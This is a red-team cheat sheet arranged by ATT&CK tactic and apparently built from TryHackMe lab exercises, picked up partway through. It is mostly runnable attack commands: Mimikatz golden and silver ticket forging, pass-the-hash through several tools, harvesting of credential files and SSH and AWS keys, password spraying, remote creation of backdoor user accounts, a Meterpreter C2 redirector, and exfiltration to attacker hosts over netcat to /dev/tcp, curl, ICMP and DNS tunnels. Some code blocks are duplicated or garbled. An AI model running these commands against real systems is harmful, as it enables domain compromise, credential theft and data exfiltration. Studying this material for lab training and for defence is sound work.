Get-ADDomain

Enterprise admin ( /sids: ): Get-ADGroup -Identity "Enterprise Admins" -Server


thmrootdc.tryhackme.loc

Username to impersonate

KRBTGT hash

kerberos::golden /admin:ReallyNotALegitAccount /domain:za.tryhackme.loc /id:500 /sid:<Domain SID>

Values

Note that mimikatz will use id:500 as default and endin & renewmax has the default values for tickets. Also pretty
sure it defaults service:krbtgt . Can also use /user:Administrator

Facts about golden ticket

The KDC will only validate the user account in the TGT is older than 20 min - which means we can specify a disabled,
deleted or non-existent account in the TGT.

Rules and policies are specified in the TGT - we can overwrite values pushed by the KDC. E.g. ticket expiration time.

Rotating krbtgt account password is a pain an is not usually done - due to services not realising the TGT is no
longer valid.

Can bypass smart card authentication since it's verified against the DC

We can generate golden tickets on any machine - even locally to make less noise

Silver tickets (Forged TGS tickets):

kerberos::golden /admin:NotALegitUser /domain:za.tryhackme.loc /sid:<


/sid:<Domain-SID
Domain-SID>
> /service:cifs /rc

CIFS
CIFS as a service is a safe bet since it allows file access.

Facts about silver ticket

Signed by machine account we target - only password hash we can access, thus can only impersonate users on that
host

No contact with DC - only logs will be on targeted server

Permissions determined by SID - can create a non-existing user as long as the SID is relevant to the host admin group

Machine password rotation is 30 days - can alter the registry

Extract CA certificate:

# See local certificates


crypto::certificates /systemstore:local_machine

# Export CA certificate keys (.pfx & .der)


# <priv debug>
crypto::capi
crypto::cng
crypto::certificates /systemstore:local_machine /export

Pass-the-Hash: See also: Pass-the-Hash

Kekeo
Source: https://github.com/gentilkiwi/kekeo

Generate TGT:

tgt::ask /user:ACCOUNT /domain:DOMAIN /password:PASSWORD

TGS requests:

tgs::s4u /tgt:TGT /user:USER_TO_IMPERSONATE /service:SERVICE

For PSSession: HTTP and WSMAN

Pass-the-Hash
Mimikatz

Process

Elevate privileges to extract hashes/tickets/keys and then revert so that you inject the hash into the compromised user
( token::revert )

token::revert
sekurlsa::pth /user:username /domain:domainname /ntlm:hash /run:"command"

Equivilant to runas

This method is equivilant to runas - but with a hash instead of a password

Pass-the-Ticket

sekurlsa::tickets /export

kerberos::ptt [0;427fcd5][email protected]

# List tickets (CMD)


klist

SYSTEM access

Extracting tickets from LSASS usually require SYSTEM access on the attacked machine - but not injecting tickets into
our session

Overpass-the-Hash / Pass-the-Key

Kerberos networks

Get encryption keys:

sekurlsa::ekeys

Note

Need to elevate privileges - see Mimikatz

Pass-the-Key:
sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /[rc4/aes128/aes256]:96ea24eff4dff1fbe1

Connect to target:

winrs.exe -r:THMIIS.za.tryhackme.com cmd

RDP

xfreerdp /v:victim_ip /u:DOMAIN\\MyUser /pth:NTLM_HASH

psexec
Note: Linux version of psexec

psexec.py -hashes NTLM_HASH DOMAIN/MyUser@victim_ip

WinRM

evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Smbclient

smbclient //VICTIM_IP/share -U domain/user --pw-nt-hash hash -W workgroup

Wmiexec

impacket-wmiexec -hashes ':533f1bd576caa912bdb9da284bbc60fe' 'za.tryhackme.com/t1_toby.beck@thmiis

Other
See: https://www.n00py.io/2020/12/alternative-ways-to-pass-the-hash-pth/

Password Harvesting

Windows
# Unattended Windows Installation
C:\Unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

# PS History
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Get-Content (Get-PSReadlineOption).HistorySavePath

# Saved Windows Credentials


cmdkey /list
runas /savecred /user:admin cmd.exe

# Internet Information Services


type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

# PuTTy
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

# Access to registry (extract hashes with secretsdump.py)


# whoami /priv
# SeChangeNotifyPrivilege Bypass traverse checking Enabled
reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

Linux

Target Command

Arguments in programs ps -efw

User enter password in login prompt (failed login attempts) last -f /var/log/btmp

User enter password as cmd argument cat /home/*/.*history

Saved passwords in web files grep -iR password /var/www

SSH keys cat /home/*/.ssh/id*

History files of various types cat /home/*/.mysql_history

AWS credentials cat /home/*/.aws/credentials


Target Command

Azure login token C:\Users\*\.azure\accessTokens.json

Question

Automatic password harvesting tool? Or should I make one?

Cloud
Cloud bucket paths:

https://s3.amazonaws.com/BUCKETNAME

https://www.googleapis.com/storage/v1/b/BUCKETNAME

https://ACCOUNTNAME.blob.core.windows.net/CONTAINERNAME

Password Brute-force / Password Spraying

Hydra
Website:

hydra -l admin -P 500-worst-passwords.txt 10.10.x.x http-get-form "/login-get/index.php:username=^

-f: stop on match

MSOLSpray & MFASweep


Password spaying tool for M365: https://github.com/dafthack/MSOLSpray

Import-Module .\MSOLSpray.ps1

Invoke-MSOLSpray -UserList users.pxp -URL https://attack-this.now -Password Winter2022

MFA bypasser by looking for policy exceptions: https://github.com/dafthack/MFASweep

Invoke-MFASweep -Username [email protected] -Password "Winter2022"


RDP
RDPassSpray: https://github.com/xFreed0m/RDPassSpray

Outlook web access portal


SprayingToolkit (atomizer.py): https://github.com/byt3bl33d3r/SprayingToolkit

MailSniper: https://github.com/dafthack/MailSniper

Cracking

JohnTheRipper
Also:

zip2john

ssh2john

neo2john

rar2john

etc... https://www.kali.org/tools/john/

# Combine passwd and shadow for linux systems


sudo unshadow /etc/passwd /etc/shadow > unshadowed

# unshadowed parser
cat unshadowed | awk +F: '{print $2}' | sort -u

john --wordlist=list.txt --format=md5crypt unshadowed.txt

Add rules

You can add rules with --rules=best64 or KoreLogic

Cracked passwords stored in ~/.john/john.pot or add --show and --show=left

Custom rule

Edit: /etc/john/john.conf

Example
For [!@#$]word\d{2} (regex), for non-regex terms. Prepend with !@#$ and append with two digits on every given
word:

[List.Rules:rulename]

Az"[0-9][0-9]" ^[!@#$]

To create list: john --wordlist=password-list --rule=rulename --stdout > new.lst

Hashcat

Mode (-a):

0 - wordlist

1 - combinatory wordlists
word + short word/number

position matter (prepend/append)

3 - brute force
specify the format with markers:
?l - lower

?u - big

?d - digits

?s - space and special

?a - all of the above

6 - wordlist + brute
wordlist + markers

7 - brute + wordlist
same as 6 but prepend markers

Hash (-m):

0 - md5

100 - sha1

500 - md5crypt (unix)

1000 - NT

5600 - NTLMv2-SSP

7900 - Drupal 7

13100 - Kerberos 5
Rules (-r):

best64.rule

Cracked passwords stored in ~/.local/share/hashcat/hashcat.potfile or --show --user

Example

hashcat -a 0 -m 1000 hash /usr/share/wordlists/rockyou.txt can also add --quiet for supressed output

Hijacking

Responder.py
A hijacking tool when on LAN network

Will listen as multiple services and pickup anything trying to make a connection, and

outputs information into a file

Will result in crackable credentials

The powershell equivalent

Inveigh

RDP hijacking

Note

If you have SYSTEM privileges on Windows Server 2016 and earlier, you can take over any existing RDP session without
requiring a password.

# List sessions
query user

# Connect to session
tscon ID /dest:SESSIONNAME

Where SESSIONNAME is my session and ID is the connection we want to take over

LDAP Pass-back
Host a rogue LDAP server:

sudo systemctl enable slapd


sudo dpkg-reconfigure -p low slapd

# Create conf file:


#olcSaslSecProps.ldif
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

# Verification
ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

# Capture credentials
sudo tcpdump -SX -i breachad tcp port 389

Credential structure

Not that the credentials will be displayed as: domain/username..password

PXE Boot Image


Tool: https://github.com/wavestone-cdt/powerpxe

Import-Module .\PowerPXE.ps1
Get-WimFile -bcdFile $BCDFile
tftp -i <THMMDT IP> GET "<PXE Boot Image Location>" pxeboot.wim
Get-FindCredentials -WimFile pxeboot.wim

Inject & Validate AD Credentials


Inject into memory:

runas.exe /netonly /user:<domain>\<username> cmd.exe

/netonly : will use there credentials for all network connections

🌐 Discovery (TA0007)
Enumerate Anti-virus (AV)
wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | fin

Process fingerprints:

"MsMpEng.exe", "AdAwareService.exe", "afwServ.exe", "avguard.exe", "AVGSvc.exe",


"bdagent.exe", "BullGuardCore.exe", "ekrn.exe", "fshoster32.exe", "GDScan.exe",
"avp.exe", "K7CrvSvc.exe", "McAPExe.exe", "NortonSecurity.exe", "PavFnSvr.exe",
"SavService.exe", "EnterpriseService.exe", "WRSA.exe", "ZAPrivacyService.exe"

Antivirus Name Service Name Process Name

Microsoft Defender WinDefend MSMpEng.exe

Trend Micro TMBMSRV TMBMSRV.exe

Avira AntivirService, Avira.ServiceHost avguard.exe, Avira.ServiceHost.exe

Bitdefender VSSERV bdagent.exe, vsserv.exe

Kaspersky AVP avp.exe, ksde.exe

AVG AVG Antivirus AVGSvc.exe

Norton Norton Security NortonSecurity.exe

McAfee McAPExe, Mfemms MCAPExe.exe, mfemms.exe

Panda PavPrSvr PavPrSvr.exe

Avast Avast Antivirus afwServ.exe, AvastSvc.exe

Enumerate Active Directory (AD)


See also 🏕️ Living Of the Land (LOL)

PowerShell
User information:
Get-ADUser -Identity gordon.stevens -Server za.tryhackme.com -Properties *

Group information:

Get-ADGroup -Identity Administrators -Server za.tryhackme.com


Get-ADGroupMember -Identity Administrators -Server za.tryhackme.com

Domain:

Get-ADDomain -Server za.tryhackme.com

AD-objects:

DateTime(
$ChangeDate = New-Object DateTime (2022
2022,, 02
02,, 28
28,, 12
12,, 00
00,, 00
00))
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server za.
za.tryhackme.
tryhackme.com

Get-ADObject -Filter 'badPwdCount -gt 0' -Server za.


za.tryhackme
tryhackme.
.com

Sharphound / Bloodhound
Source: https://github.com/BloodHoundAD

Sharphound - collector:

Sharphound.ps1

Sharphound.exe

AzureHound.ps1

Sharphound

Sharphound.exe --CollectionMethods <Methods> --Domain za.tryhackme.com --ExcludeDCs

Enumeration Frequency

Due to the tool taking a snapshot, it will miss new active sessions and LogOn events. A good approach is to run it with
the method All initially and then run it twice a day during 10:00 and 14:00 local time.

Bloodhound
Start Bloodhound:
bloodhound --no-sandbox

Custom queries: Coercing authentication (one machine has admin privilege over another machine): MATCH p=
(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

Node Info

Overview - Provides summaries information such as the number of active sessions the account has and if it can reach
high-value targets.

Node Properties - Shows information regarding the AD account, such as the display name and the title.

Extra Properties - Provides more detailed AD information such as the distinguished name and when the account was
created.

Group Membership - Shows information regarding the groups that the account is a member of.

Local Admin Rights - Provides information on domain-joined hosts where the account has administrative privileges.

Execution Rights - Provides information on special privileges such as the ability to RDP into a machine.

Outbound Control Rights - Shows information regarding AD objects where this account has permissions to modify their
attributes.

Inbound Control Rights - Provides information regarding AD objects that can modify the attributes of this account.

🚄 Lateral Movement (TA0008)


Netcat: Relay
Attacker:

nc pivotip port

Pivot:

mkfifo namedpipe
nc -lvp port < namedpipe | nc targetip port > namedpipe

Pivoting

Metasploit Route
Meterpreter portfwd pivot:
meterpreter > portfwd add -l 8000 -r 10.10.10.1 -p 80

All traffic on attackers port 8000 will route through meterpreter machine to 10.10.10.1 on port 80

Meterpreter route pivot:

msf5 > route add 10.10.10.0/24 1


msf5 > set RHOST 10.10.10.100
msf5 > run

Route traffic to the 10.10.10.0/24 via the sessionid 1

SSH
SSH port forward:

Remote:

ssh username@ATTACKER_IP -R 8000:TARGET_IP:80 -N

Can also SSH to victim and launch SOCKS proxy with -D -N : do not execute remote command (good when just port
forwarding)

Local:

ssh username@ATTACKER_IP -L *:80:localhost:80 -N

Firewall

Due to opening a port - we might need to add a firewall rule to allow incomming connections with dir=in . Require
admin privilege: netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow
protocol=TCP localport=80

SOCKS proxy:

ssh [email protected] -R 9050 -N

Match config

Make sure the port match against the conf: /etc/proxychains.conf

Run command through proxy: proxychains <command>


Socat
Worse than SSH but worth a try when SSH is not available.

socat TCP4-LISTEN:3389,fork TCP4:TARGET_IP:3389

Firewall rule

Read more at SSH above. Rule: netsh advfirewall firewall add rule name="Open Port 3389" dir=in
action=allow protocol=TCP localport=3389

*Forwards all connections on 3389 to TARGET_IP:3389* ### netsh (LOL) netsh port forward (LOL): ```powershell netsh
interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=8000 connectaddress=10.10.10.100 connectport=80 ```
*Require administrator access*

More tools:
Sshuttle

Chisel

Spawning Process Remotely

Psexec
Ports: 445/TCP (SMB)

Required Group Memberships: Administrators

The way psexec works is as follows:

1. Connect to Admin$ share and upload a service binary. Psexec uses psexesvc.exe as the name.

2. Connect to the service control manager to create and run a service named PSEXESVC and associate the service binary with
C:\Windows\psexesvc.exe .

3. Create some named pipes to handle stdin/stdout/stderr.

psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

WinRM
Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

Required Group Memberships: Remote Management Users


To connect to a remote Powershell session from the command line, we can use the following command:

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

We can achieve the same from Powershell, but to pass different credentials, we will need to create a PSCredential object:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Once we have our PSCredential object, we can create an interactive session using the Enter-PSSession cmdlet:

Enter-PSSession -Computername TARGET -Credential $credential

Powershell also includes the Invoke-Command cmdlet, which runs ScriptBlocks remotely via WinRM. Credentials must be
passed through a PSCredential object as well:

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

sc.exe
Ports:
135/TCP, 49152-65535/TCP (DCE/RPC)

445/TCP (RPC over SMB Named Pipes)

139/TCP (RPC over SMB Named Pipes)

Required Group Memberships: Administrators

sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

Scheduled Task

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE

schtasks /s TARGET /run /TN "THMtask1"

We set the schedule type (/sc) to ONCE, which means the task is intended to be run only once at the specified time and date.
Since we will be running the task manually, the starting date (/sd) and starting time (/st) won't matter much anyway.
schtasks /S TARGET /TN "THMtask1" /DELETE /F

Windows Management Instrumentation (WMI)

Connect to WMI from PowerShell

'Administrator';
$username = 'Administrator' ;
$password = 'Mypass123'
'Mypass123';;
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
Force;
System.
$credential = New-Object System .Management
Management.
.Automation
Automation.
.PSCredential $username
$username,, $securePassword
$securePassword;;

$Opt = New-CimSessionOption -Protocol DCOM


$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorA

Remote Process Creation

Ports:
135/TCP, 49152-65535/TCP (DCERPC)

5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

Required Group Memberships: Administrators

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";

Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{


CommandLine = $Command
}

Remote Services

Ports:
135/TCP, 49152-65535/TCP (DCERPC)

5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

Required Group Memberships: Administrators

Create Service:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{


Name = "THMService2";
DisplayName = "THMService2";
PathName = "net user munra2 Pass123 /add"; # Your payload
ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
StartMode = "Manual"
}

Start:

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMSe
Invoke-CimMethod -InputObject $Service -MethodName StartService

Stop and delete:

Invoke-CimMethod -InputObject $Service -MethodName StopService


Invoke-CimMethod -InputObject $Service -MethodName Delete

Remote Scheduled Task

Ports:
135/TCP, 49152-65535/TCP (DCERPC)

5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

Required Group Memberships: Administrators

Create:

# Payload must be split in Command and Args


$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"

$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args


Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

Delete:

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

MSI packeages

Ports:
135/TCP, 49152-65535/TCP (DCERPC)

5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)

Required Group Memberships: Administrators

Invoke MSI file on targeted system:


Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{Pa

# or via wmic

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.ms

📥 Collection (TA0009)
Situational Awareness

Clipboard data
For Windows:

$x=""; while($true) { $y=get-clipboard -raw; if ($x -ne $y) { Write-Host $y; $x=$y } }

For macOS:

x=""; while true; do y='pbpaste'; if [ "$x" != "$y" ] ; then echo $y; x=$y; fi; done

Cloud Awareness

Target Command

Access test, Username for UserId aws sts get-caller-identity

Enumerate EC2 aws ec2 describe-instances

List S3 buckets aws s3 ls

List Lambda functions aws lambda list-functions

List roles (permissions) associated with the user aws iam list-roles

List other user accounts to target (privesc targets) aws iam list-users

Enumerate log groups (what is being monitored?) aws logs describe-log-groups


📡 Command and Control (TA0011)
Curl
-D - : Displays all the request information

-b token: Curl with cookie

-A user agent: Curl with a different user agent

C2 Redirect using Apache2


# Enabling apache2 modules necessary
a2enmod rewrite && a2enmod proxy && a2enmod proxy_http && a2enmod headers && systemctl start apach

# Create C2 payload
msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f e

# Add into /etc/apache2/sites-available/000-default.conf


RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter# Enabling apache2 modules necessary
a2enmod rewrite && a2enmod proxy && a2enmod proxy_http && a2enmod headers && systemctl start apach

# Create C2 payload
msfvenom -p windows/meterpreter/reverse_http LHOST=tun0 LPORT=80 HttpUserAgent=NotMeterpreter -f e

# Add into /etc/apache2/sites-available/000-default.conf


RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} "^NotMeterpreter$"
ProxyPass "/" "http://localhost:80/" # Listening with multi/handler

# Start multi handler


msfconsole -qx "use exploit/multi/handler; set PAYLOAD winows/meterpreter/reverse_http; set LPORT
quot;
ProxyPass "/" "http://localhost:80/" # Listening with multi/handler

# Start multi handler


msfconsole -qx "use exploit/multi/handler; set PAYLOAD winows/meterpreter/reverse_http; set LPORT

📨 Exfiltration (TA0010)
Netcat: Data Transfer
Listener:

nc -lvnp port </> filename

-n: numeric only, no DNS -u : will use UDP

Client:

nc -w1 ip port >/< filename

TCP Socket
Easy to spot

Due to the usage of non-standard protocols, it will be easy for a well-secured network to spot

1. Start a listener and be prepared to extract data:

nc -lnp 8080 && dd conv=ascii if=task4-creds.data | base64 -d | tar xvz

2. On target machine, send the data encoded in ebcdic and base64 encoded

tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080

SSH

SCP
Send: scp file.txt user@hostname:/tmp/file.txt

Exfiltrate: scp [email protected]:/path/to/file.txt .

Other options:

-r : directory copy

-P port : port if not standart (22)

SSH Client
tar cf - task5/ | ssh [email protected] "cd /tmp/; tar xpf -"

HTTP(S)

HTTP(S) POST

POST vs GET

POST requests are never cached

POST requests do not remain in the browser history

POST requests cannot be bookmarked

POST requests have no restrictions on data length

POST will not display exfiltrated data in acess logs

Webserver

Have a malicious web handler:

<?php
if (isset($_POST['file'])) {
$file = fopen("/tmp/http.bs64","w");
fwrite($file, $_POST['file']);
fclose($file);
}
?>

Compromised machine

curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php

POST

When using the --data argument, curl will handle it as a post request

Tunnelling

Example
X Windows over SSH

IP inside ICMP

IPv6 inside IPv4

More: Covering Tracks on the Network #### Neo-reGeorg https://github.com/L-codes/Neo-reGeorg

Gain access to app.thm.com via uploader.thm.com

Generate encrypted client file:

python3 neoreg.py generate -k thm

Upload file Connect to the tunnel

python3 neoreg.py -k thm -u http://10.10.255.241/uploader/files/tunnel.php

Access app.thm.com

curl --socks5 127.0.0.1:1080 http://172.20.0.121:80

ICMP

Sender
For very small amount of data:

ping targetip -c 1 -p hexvalue_of_data

nping

nping sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "BOFfile.txt" sudo nping --icmp -c 1 ATTACKBOX_IP --data-string
"admin:password" sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"

#### C2 icmpdoor

Sender:
```shell
sudo icmpdoor -i eth0 -d 192.168.0.133
Receiver:

sudo icmp-cnc -i eth1 -d 192.168.0.121


Receiver

msfconsole -qx 'use auxiliary/server/icmp_exfil'

DNS
Basics:

DNS request can max me 255 characters (65 per subdomain)

Send obfuscated data via subdomains

Tunneling: iodine

C2

sudo iodined -P thmpass 10.1.1.1/24 att.tunnel.com

-P : password authentication

Victim

sudo iodine -P thmpass att.tunnel.com

SMB

smbserver.py
Part of Impacket

smbserver.py -smb2support -username THMBackup -password CopyMaster555 public .

Host a fake smb to transfer files, connect with: copy file \\ATTACKERIP\public

💥 Impact (TA0040)

Support me
Thank you so much for reading and I hope you found it inspirational or helpful! You can best support me by doing any of
the following bellow!

Turn off Adblocker: A simple yet impactful way to support me for free.

Sign Up: If you haven't already, consider signing up to get access to more content and receive optional newsletters.

Buy Premium: Explore the Premium option for additional perks and exclusive content.

Give a Tip: Your generosity is always very appreciated.

You can read more about the perks of being a Member or Subscriber here.

Additionally, you can stay updated and engage with me on social media:

Twitter: Follow for real-time updates and insights.

LinkedIn: Connect with me on a professional platform.

Discussion

Before commenting, please read the Community guidelines.

Continue reading
Nessus - TryHackMe
5 min read

In this walkthrough we will demonstrate the steps necessary


to complete the Nessus room on TryHackMe.

beginner writeup recon May 17, 2024

Privacy Policy | Copyright © Hailstorm Security 2023

You might also like